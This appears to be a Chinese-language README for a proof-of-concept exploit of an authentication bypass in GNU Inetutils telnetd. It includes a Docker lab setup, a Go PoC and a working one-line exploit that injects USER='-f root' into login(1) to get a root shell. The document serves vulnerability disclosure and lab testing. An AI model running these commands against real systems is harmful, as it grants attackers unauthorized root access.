说真的,2026 年还在用 telnet?拜托各位,该换换了。SSH 从 1995 年就有了。 🤦
GNU Inetutils telnetd 存在一个严重的认证绕过漏洞,影响 1.9.3 至 2.7 版本。
该漏洞利用 NEW-ENVIRON telnet 选项向 login(1) 注入恶意参数。攻击者通过 telnet 协议设置 USER=-f root,即可绕过认证,无需凭据即可获得 root shell。
telnet 协议支持 NEW-ENVIRON 选项(RFC 1572),允许客户端向服务器发送环境变量。telnetd 守护进程将 USER 变量作为参数传递给 login(1)。
通过发送 USER=-f root,该值会被解释为:
-f 标志:跳过认证(受信任主机)root:目标用户这将导致执行 login -f root,从而立即授予 root 访问权限。
PoC 通过检查 IAC WILL ECHO(0xff 0xfb 0x01)来检测是否成功利用——这是服务器在授予 shell 访问权限时发送的协议信号。
# 构建并运行存在漏洞的 telnetd 容器
docker compose up --build -d
# 测试漏洞利用
go run poc.go 127.0.0.1 2323
# 使用 Go PoC(带交互式 shell)
go run poc.go <target> <port>
# 使用标准 telnet 客户端的简单 PoC
env USER='-f root' telnet -a <target> <port>
poc.go - 带交互式 shell 的 Go 漏洞利用Dockerfile - 存在漏洞的 telnetd 容器docker-compose.yml - 实验环境编排